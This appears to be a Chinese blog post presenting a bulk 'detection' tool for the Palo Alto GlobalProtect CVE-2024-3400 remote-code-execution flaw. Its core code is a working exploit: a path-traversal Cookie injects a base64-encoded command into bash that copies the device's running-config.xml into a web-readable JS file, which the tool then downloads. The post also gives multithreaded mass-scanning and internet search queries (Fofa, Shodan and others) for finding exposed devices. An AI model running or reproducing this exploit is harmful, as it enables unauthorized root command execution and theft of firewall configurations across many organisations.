Palo Alto GlobalProtect CVE-2024-3400 远程代码执行漏洞批量检测工具

16 阅读3分钟

CVE-2024-3400 RCE 漏洞检测工具

一款针对 Palo Alto Networks GlobalProtect 产品中 CVE-2024-3400 远程代码执行漏洞的批量检测与验证工具。该漏洞允许未认证的攻击者以 root 权限在目标设备上执行任意命令。

功能特性

  • 批量检测:支持从文件中读取大量目标 URL,进行大规模漏洞排查
  • 多线程扫描:可自定义线程数量,提升检测效率
  • 代理支持:支持 HTTP/HTTPS 代理,便于通过 Burp Suite 等工具调试与分析流量
  • 自动验证:通过命令注入尝试写入测试文件,随后验证文件是否成功生成,确认漏洞是否存在
  • 结果输出:自动将疑似存在漏洞的目标写入 mayberce.txt,将确认存在 RCE 的目标写入 yesRce.txt

安装指南

环境要求

  • Python 3.6 及以上版本
  • 依赖库:requests, urllib3

安装步骤

  1. 克隆或下载项目代码至本地

  2. 安装依赖库:

pip install requests urllib3

系统兼容性

  • Windows / Linux / macOS 均可运行

使用说明

准备目标文件

创建一个文本文件(例如 urls.txt),每行一个目标地址:

https://192.168.1.1
https://vpn.example.com
http://10.0.0.1

基础用法

python CVE-2024-3400-RCE-CHECK.py -f urls.txt

完整参数示例

python CVE-2024-3400-RCE-CHECK.py -f urls.txt -p http://127.0.0.1:8083 -t 100

参数说明

参数说明必填默认值
-f, --file目标 URL 列表文件路径
-p, --proxy代理地址,如 http://127.0.0.1:8083http://127.0.0.1:8083
-t, --thread扫描线程数100

执行流程

  1. 工具会为每个目标生成随机文件名
  2. 构造恶意 Cookie,执行 tar 命令将配置文件压缩到 Web 可访问目录
  3. 等待约 320 秒,确保命令执行完成
  4. 尝试访问生成的 JS 文件,若返回 200 状态码则确认漏洞存在

输出文件

  • mayberce.txt:已写入测试文件的目标地址(疑似存在漏洞)
  • yesRce.txt:成功访问到测试文件的目标地址(确认存在 RCE)

互联网资产测绘

可使用以下语法在各大资产测绘平台搜索潜在目标:

Fofa

app="paloalto-GlobalProtect"

Zoomeye

app:"Palo Alto Networks firewall httpd"

Hunter.how

product.name="GlobalProtect Portal"

Shodan

http.favicon.hash:-631559155

核心代码

漏洞利用与文件写入

def CreateTarFile(url, proxy):
    try:
        filename = GenerateRandomString(10)
        cmd = f"tar -czf /var/appweb/sslvpndocs/global-protect/portal/js/jquery.{filename}.js /opt/pancfg/mgmt/saved-configs/running-config.xml"
        base64_cmd = base64.b64encode(cmd.encode()).decode().rstrip("=")
        headers = {
            "Cookie": "SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/`echo${IFS}" + base64_cmd + "|base64${IFS}-d|bash${IFS}-i`",
            "Content-Type": "application/x-www-form-urlencoded",
            "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
        }
        resp = requests.post(url=url + "/ssl-vpn/hipreport.esp", headers=headers, proxies=proxy, verify=False, allow_redirects=False, timeout=10)
        if resp.status_code == 200:
            maybeRceFile.write(f"{url}/global-protect/portal/js/jquery.{filename}.js\n")
    except:
        pass

漏洞验证与文件检测

def CheckTarFile(url, proxy):
    try:
        headers = {
            "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
        }
        resp = requests.get(url=url, headers=headers, proxies=proxy, verify=False, allow_redirects=False, timeout=10)
        if resp.status_code == 200:
            print(f"[+] Can be RCE: {url}")
            yesRceFile.write(f"{url}\n")
    except:
        return False

多线程调度

def ThreadCreateTarFile(file2check, proxy, max_thread_num):
    urlAddrs = GetUrls(file2check)
    executor = ThreadPoolExecutor(max_workers=max_thread_num)
    futures = []
    for addr in urlAddrs:
        future = executor.submit(CreateTarFile, addr, proxy)
        futures.append(future)
    wait(futures)

def ThreadCheckTarFile(proxy, max_thread_num):
    urlAddrs = GetUrls("mayberce.txt")
    executor = ThreadPoolExecutor(max_workers=max_thread_num)
    futures = []
    for addr in urlAddrs:
        future = executor.submit(CheckTarFile, addr, proxy)
        futures.append(future)
    wait(futures)

命令行参数解析

def ParseArgs():
    parser = argparse.ArgumentParser(description="CVE-2024-3400-RCE-CHECK")
    parser.add_argument("-p", "--proxy", type=str, default="http://127.0.0.1:8083", help="proxy url, eg: http://127.0.0.1:8083", required=False)
    parser.add_argument("-f", "--file", type=str, help="target urls to check, eg: urls.txt", required=True)
    parser.add_argument("-t", "--thread", type=int, default=100, help="threads to scan", required=False)
    return parser.parse_args()

6HFtX5dABrKlqXeO5PUv/1bZsy3vYbBIaiejpN0RmxWWoZY1e63btFCXPL89aWy8